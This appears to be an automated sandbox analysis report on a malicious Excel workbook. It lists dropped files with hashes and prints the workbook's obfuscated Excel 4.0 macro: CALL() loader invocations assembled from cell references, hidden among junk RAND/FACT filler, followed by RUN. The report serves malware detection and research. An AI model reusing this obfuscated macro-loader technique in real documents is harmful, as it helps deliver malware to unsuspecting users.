C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	893
Entropy (8bit):	7.366016576663508
Encrypted:	false
SSDEEP:	24:hBntmDvKUQQDvKUr7C5fpqp8gPvXHmXvponXux:3ntmD5QQD5XC5RqHHXmXvp++x
MD5:	D4AE187B4574036C2D76B6DF8A8C1A30
SHA1:	B06F409FA14BAB33CBAF4A37811B8740B624D9E5
SHA-256:	A2CE3A0FA7D2A833D1801E01EC48E35B70D84F3467CC9F8FAB370386E13879C7
SHA-512:	1F44A360E8BB8ADA22BC5BFE001F1BABB4E72005A46BC2A94C33C4BD149FF256CCE6F35D65CA4F7FC2A5B9E15494155449830D2809C8CF218D0B9196EC646B0C
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0..y...H.........j0..f...1.0....H.........N0..J0..2.......D....'..09...@k0....H........0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30...000930211219Z..210930140115Z0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30.."0....H.............0..........P..W..be......,k0.[...}.@......3vI.?!I..N..>H.e...!.e..2....w..{........s.z..2..~..0....8.y.1.P..e.Qc...a.Ka..Rk...K.(.H......>.... .[.....p....%.tr.{j.4.0...h.{T....Z...=d.....Ap..r.&.8U9C....\@........%.......:..n.>..\..<.i.....)W..=....]......B0@0...U.......0....0...U...........0...U.........{,q...K.u...`...0....H...............,...\...(f7:...?K.... ]..YD.>.>..K.t.....t..~.....K. D....}..j.....N..:.pI...........:^H...X._..Z.....Y..n......f3.Y[...sG.+..7H..VK....r2...D.SrmC.&H.Rg.X..gvqx...V..9$1....Z0G..P.......dc`........}...=2.e..\|.Wv..(9..e...w.j..w.......)...55.1.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	326
Entropy (8bit):	3.107852014091462
Encrypted:	false
SSDEEP:	6:kKUA1npkQSN+SkQlPlEGYRMY9z+4KlDA3RUeSKyzkOt:3phZkPlE99SNxAhUeSKO
MD5:	8AE5A3589BAB87FFFC5C6507155494B7
SHA1:	89EDA7EF08B88BFE746CCFDFA94538A1ABA1FEAA
SHA-256:	8CF05E9F997E0F5F4B4A431005970E37753E55B8E963DF9705EFF16CB612C747
SHA-512:	E75B7CCA073A9640DDC4903EBA6DA282879515161EEF34BBBD0A5D473E2B4F29276273C91F2D2807CC59C580F9FB4AD33D948B8876FAE5E79250403D7E00C5FE
Malicious:	false
Reputation:	low
Preview:	p...... ........."eenG..(....................................................... ...........Y5......$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".8.0.f.8.8.3.5.9.3.5.d.7.1.:.0."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	2.9853979364525847
Encrypted:	false
SSDEEP:	3:kkFklht3VXfllXlE/jQEBllPlzRkwWBARLNDU+ZMlKlBkvclcMlVHblB1Ffl5nPM:kKACQE1liBAIdQZV7ulPPN
MD5:	F5AC71F2B2AB99EA7424D4C733385B4B
SHA1:	CFD6AAACFB5A941E56F0DD6E3FAFB650AB2D6F1F
SHA-256:	53B1CD43DC8BC4720ED891518ADC719064E4313E57D4AB4869D42B971686017A
SHA-512:	3B6C4A495D89D93D4CE7737602FBC001A73E475CAB7962929BA2C059D66DD8901961429CE9F41C2B84D9D3ABDBDD90A9F9AA3A9505C2638582BC4852A13A61C5
Malicious:	false
Reputation:	low
Preview:	p...... ....`....?'enG..(....................................................... .........\|.j-......(...........}...h.t.t.p.:././.a.p.p.s...i.d.e.n.t.r.u.s.t...c.o.m./.r.o.o.t.s./.d.s.t.r.o.o.t.c.a.x.3...p.7.c...".3.7.d.-.5.b.f.8.d.f.8.0.6.2.7.0.0."...

C:\Users\user\AppData\Local\Temp\CabFE6C.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Cabinet archive data, 59863 bytes, 1 file
Category:	dropped
Size (bytes):	59863
Entropy (8bit):	7.99556910241083
Encrypted:	true
SSDEEP:	1536:Gs6cdy9E/ABKQPOrdweEz480zdPMHXNY/gLHfIZN:GNOqOrdDdJPAX1LHA/
MD5:	15775D95513782F99CDFB17E65DFCEB1
SHA1:	6C11F8BEE799B093F9FF4841E31041B081B23388
SHA-256:	477A9559194EDF48848FCE59E05105168745A46BDC0871EA742A2588CA9FBE00
SHA-512:	AC09CE01122D7A837BD70277BADD58FF71D8C5335F8FC599D5E3ED42C8FEE2108DD043BCE562C82BA12A81B9B08BD24B961C0961BF8FD3A0B8341C87483CD1E7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF............,...................I........b.........R.i .authroot.stl.qqp.4..CK..8T....c_.d....A.F....m"...AH)-.%.QIR..$t)Kd.-QQ..~.L.2.L........sx.}...~....$....yy.A.8;....\|.%OV.a0xN....9..C..t.z.,X...,..1Qj,.p.E.y..ac`.<.e.c.aZW..B.jy....^]..+)..!...r.X:.O.. ..Y..j.^.8C........n7R....p!\|_.+..<...A.Wt.=. .sV..`.9O...CD./.s.\#.t#..s..Jeiu..B$.....8..(g..tJ....=,...r.d.].xqX4.......g.lF...Mn.y".W.R....K\..P.n._..7...........@pm.. Q....(#.....=.)...1..kC.`......AP8.A..<....7S.L....S...^.R.).hqS...DK.6.j....u_.0.(4g.....!,.L`......h:.a]?......J9.\..Ww........%........4E.......q.QA.0.M<.&.^aD.....,..]....5.....\../ d.F>.V........_.J....."....wI..'..z...j..Ds....Z...[..........N<.d.?<....b..,...n......;....YK.X..0..Z.....?...9.3.+9T.%.l...5.YK.E.V...aD.0...Y../e.7...c..g....A..=.....+..u2..X.~....O....\=...&...U.e...?...z....$.)S..T...r.!?M..;.....r,QH.B <.(t..8s3..u[.N8gL.%...v....f...W.y...cz-.EQ.....c...o..n........D..........2.

C:\Users\user\AppData\Local\Temp\D3FE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	81246
Entropy (8bit):	7.9064787143098325
Encrypted:	false
SSDEEP:	1536:TeKmfTW8SDcn9iZtJOXAQR2KtCbuMB/yDL4D5Kzhl4AiCb/OT:TALW8SD8YZo/Uh0GUzEic
MD5:	132C150FD93D8D1E162723735B0C03B6
SHA1:	FEF98600D50AB75D3D977AE85BC74133D33772CE
SHA-256:	B139A73E4DD21CD541F1EE0D959DE1965C2003BD4087A7FF494E4AFD3499267C
SHA-512:	438C5AC50CFDD1D93A27B239255734CB66E45FFB13C479533C7BB3C26E07CD4E9A72E2408C1DCFEF09E264AC5E7FF551E7B7E770C1D60109D9BF1362B970BDEA
Malicious:	false
Preview:	.U.n.0....?..........C....I?.&..an.0........%..h!..y...5..D.......J..e....o..$...;h....,>..?m.`Eh.-.S..9G......fV>Z..5v<........+..%p.N..-.?a%.M.n74.s..U?v.e......".Q...H.W+-Ay.l....A(...5M....#.D.!.'5..4....iD..G......B.R....PX.(..s..~..F..z.1..Ki..>.....$9L.5l$..$.X!..ubi..vo..(.$.r..!..&9.~..B<...j.P._.T....^&C.... .Q..J.../......ik.GD7e..H..{.A=&j.....{....5[....s.......}@j.......2..D.1i8..S..H.q..Qg.\|H(P'.y9..........PK..........!..!.9............[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TarFE6D.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	156386
Entropy (8bit):	6.3086528024913715
Encrypted:	false
SSDEEP:	1536:ZlI6c79JjgCyrYBWsWimp4Ydm6Caku2SWsz0OD8reJgMnl3XlMyGr:ZBUJcCyZfdmoku2SL3kMnBGyA
MD5:	78CABD9F1AFFF17BB91A105CF4702188
SHA1:	52FA8144D1FC5F92DEB45E53F076BCC69F5D8CC7
SHA-256:	C7B6743B228E40B19443E471081A51041974801D325DB4ED8FD73A1A24CBD066
SHA-512:	F0BF5DFBAB47CC6A3D1BF03CEC3FDDA84537DB756DA97E6D93CF08A5C750EABDFBF7FCF7EBDFFF04326617E43F0D767E5A2B7B68C548C6D9C48F36493881F62B
Malicious:	false
Preview:	0..b....H.........b.0..b....1.0...`.H.e......0..R...+.....7.....R.0..R.0...+.....7........5XY._...210419201239Z0...+......0..R.0.......`...@.,..0..0.r1...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o.f.t. .R.o.o.t. .A.u.t.h.o

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\32154f4c_by_Libranalysis.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed May 12 19:35:28 2021, mtime=Wed May 12 19:35:47 2021, atime=Wed May 12 19:35:48 2021, length=174080, window=hide
Category:	dropped
Size (bytes):	2168
Entropy (8bit):	4.574150878114123
Encrypted:	false
SSDEEP:	48:8Qny/XT0j1pOE+vfNeOE6fQh2Qny/XT0j1pOE+vfNeOE6fQ/:8N/XojLF4fNeF6fQh2N/XojLF4fNeF6I
MD5:	4346A7E4F04071655DD3FCD2F774D7B9
SHA1:	94DC353D37A73E141F8409ABD6A8655B46B49F40
SHA-256:	8F23D97303319B2FB7413ADD6079F0E703262CE45506279F71B5A28B68109940
SHA-512:	DF447361FF5A4D2B0D1B3B979E7F8FE473942016E16C7DA8A47B31C023A35ED216BAB5FDBED0515AA5B51479BA671A6717DBB83487BCFB63D600F62B23BF8659
Malicious:	false
Preview:	L..................F.... ...^..XnG....cnG..s..dnG...............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Ro...Desktop.d......QK.X.Ro...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2......Rr. .32154F~1.XLS..f......Ro..Ro.....%....................3.2.1.5.4.f.4.c._.b.y._.L.i.b.r.a.n.a.l.y.s.i.s...x.l.s.......................-...8...[............?J......C:\Users\..#...................\\585948\Users.user\Desktop\32154f4c_by_Libranalysis.xls.3.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.3.2.1.5.4.f.4.c._.b.y._.L.i.b.r.a.n.a.l.y.s.i.s...x.l.s.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Wed May 12 19:35:47 2021, atime=Wed May 12 19:35:47 2021, length=8192, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.5030546114179275
Encrypted:	false
SSDEEP:	12:85QyynLgXg/XAlCPCHaXtB8XzB/yHX+WnicvbQbDtZ3YilMMEpxRljKH9UTdJP9O:854/XTd6jIYegDv3qc4rNru/
MD5:	36741B5AF03D1D334A06BFFBADDDE98E
SHA1:	A864B8A950F79603745E62C67372314FB8964A64
SHA-256:	3E310AD570BD89DFCABE6DC7E6FC390906821C89BB82D1A5F98A5AEE24DB419E
SHA-512:	5BD101A88B9E62F84B57361A2EC4CE4CCAE570B8E9B8471E8AFEC647E1A3858002E4FFB52B9E2AE8A5B8ED79811549D37A2E2CF0B2B2C80A1A45E7EBAAAA0962
Malicious:	false
Preview:	L..................F...........7G....cnG....cnG... ......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Rx...Desktop.d......QK.X.Rx...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\585948\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......585948..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	125
Entropy (8bit):	4.822522284712134
Encrypted:	false
SSDEEP:	3:oyBVomMOEQpHcPHUwSLMp6lZYHcPHUwSLMp6lmMOEQpHcPHUwSLMp6lv:dj6mHO0NJYHO0NbmHO0Nf
MD5:	B7A52998A3B86255953128181AB7A839
SHA1:	80E63D6497124D294567BAD1B5D84A196D187F12
SHA-256:	68B0AE0DB03580F4DFBA2B3B62FE7AA04C26E7FFA8385D30FA50942545825A62
SHA-512:	4C277FA54C80B96C82A527699AFA56725E91CCDB5C253DA4EE14A610D22DA7F8ACA54A39B6BEE139F52FD13A8F29D83BE3B8FDD5757CE8E220EB93DB9D92BE91
Malicious:	false
Preview:	Desktop.LNK=0..[xls]..32154f4c_by_Libranalysis.LNK=0..32154f4c_by_Libranalysis.LNK=0..[xls]..32154f4c_by_Libranalysis.LNK=0..

C:\Users\user\Desktop\05FE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Applesoft BASIC program data, first line number 16
Category:	dropped
Size (bytes):	205059
Entropy (8bit):	5.644377479918321
Encrypted:	false
SSDEEP:	3072:3l8i+eSD8YNoTU90f7oPzn3b0X7vrPlsrXvLR7nLBl8i4X:r+eTrTU9ump4X
MD5:	EB400B4BBE8666558AF192A504CA8395
SHA1:	46384E4D7B01774AB1891E4E2C06D0222BD7F93C
SHA-256:	66AF904B3D7ADA6C0F49609665906D9F05E7E70095B8A318AB269E6EFA8534BC
SHA-512:	A04818005C694255BE23B1F73F35766FF1E33FF12F3B59B0E761B68498F506FCF7BB5C3EC71470E2B54B86D021079DC0712F5E5F3E3E025F042545320B420A36
Malicious:	false
Preview:	........g2..........................\.p....user B.....a.........=...............................................=.....i..9J.8.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................C.a.l.i.b.r.i.1...,...8...........A.r.i.a.l.1.......8...........A.r.i.a.l.1.......8...........A.r.i.a.l.1.......<...........A.r.i.a.l.1.......4...........A.r.i.a.l.1.......4...........A.r.i.a.l.1...h...8...........C.a.m.b.r.i.a.1...................C.a.l.i.b.r.i.1...................A.r.i.a.l.1...................A.r.i.a.l.1.......>...........A.r.i.a.l.1.......?...........A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................C.a.l.i.b.r.i.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1...............

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Author: van-van, Last Saved By: vi-vi, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Wed May 12 08:24:11 2021, Security: 0
Entropy (8bit):	3.258986427712615
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	32154f4c_by_Libranalysis.xls
File size:	375808
MD5:	32154f4c3997c4c3d695bf52704e5302
SHA1:	4e47b10ce837d78b31bbcf5b37622488a8c436c9
SHA256:	c92b6793b9457a9f0909c33a41f04a6d34389dce626d5eabcec7a2384270f53b
SHA512:	b73f732e45c2f49f4153209c97e84fb49b3a3367b2ca68e327c13f450daecefca885e59966ef25cfc3558c36a9f0257ffc9c0ce0aa111a69a7d068eace273790
SSDEEP:	3072:Q8UGHv2tt/BI/s/C/i/R/7/3/UQ/OhP/2/a/1/I/T/tbHm7H9G4l+s2k3zN4sbc5:vUGAt6Uqa5DPdG9uS9QLp4l+s+E8
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "32154f4c_by_Libranalysis.xls"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1251
Author:	van-van
Last Saved By:	vi-vi
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2021-05-12 07:24:11
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Document Code Page:	1251
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.287037498961
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . 0 . . . . . . . 8 . . . . . . . @ . . . . . . . H . . . . . . . t . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c 1 . . . . . D o c 2 . . . . . D o c 3 . . . . . D o c 4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . E x c e l 4 . 0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 b4 00 00 00 05 00 00 00 01 00 00 00 30 00 00 00 0b 00 00 00 38 00 00 00 10 00 00 00 40 00 00 00 0d 00 00 00 48 00 00 00 0c 00 00 00 74 00 00 00 02 00 00 00 e3 04 00 00 0b 00 00 00 00 00 00 00 0b 00 00 00 00 00 00 00 1e 10 00 00 04 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.290777742057
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . v a n - v a n . . . . . . . . . v i - v i . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . \| . # . . . @ . . . . . . . . F . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00

Stream Path: Book, File Type: Applesoft BASIC program data, first line number 8, Stream Size: 363283

General
Stream Path:	Book
File Type:	Applesoft BASIC program data, first line number 8
Stream Size:	363283
Entropy:	3.24522262131
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . 7 . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . v i - v i B . . . . . . . . . . . . . . . . . . . . . . . D o c 3 . . . . . . . . . . . . . . . . . . _ x l f n . A G G R E G A T E . . . . . . . . . . . . . . . . . . . . _ x l f n . F . I N V . R T . . . . ! . . . . .
Data Raw:	09 08 08 00 00 05 05 00 17 37 cd 07 e1 00 00 00 c1 00 02 00 00 00 bf 00 00 00 c0 00 00 00 e2 00 00 00 5c 00 70 00 05 76 69 2d 76 69 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU13,Doc3!BC17,0,!AL21)=CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU14,Doc3!BC18&"1",0,!AL21)=RUN(Doc4!AM6)

,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=FORMULA(before.3.5.0.sheet!AZ39&BA39&before.3.5.0.sheet!BB39&before.3.5.0.sheet!BC39,before.3.5.0.sheet!AU13)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=FORMULA(before.3.5.0.sheet!AZ40&BA40&before.3.5.0.sheet!BB40&before.3.5.0.sheet!BC40,before.3.5.0.sheet!AU14)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=FORMULA(""U""&before.3.5.0.sheet!BC25&before.3.5.0.sheet!BC29&before.3.5.0.sheet!BF28&before.3.5.0.sheet!BC28&before.3.5.0.sheet!BC31&before.3.5.0.sheet!BF29&""A"",before.3.5.0.she

"=CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU13,Doc3!BC17,0,!AL21)=CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU14,Doc3!BC18&""1"",0,!AL21)=RUN(Doc4!AM6)"

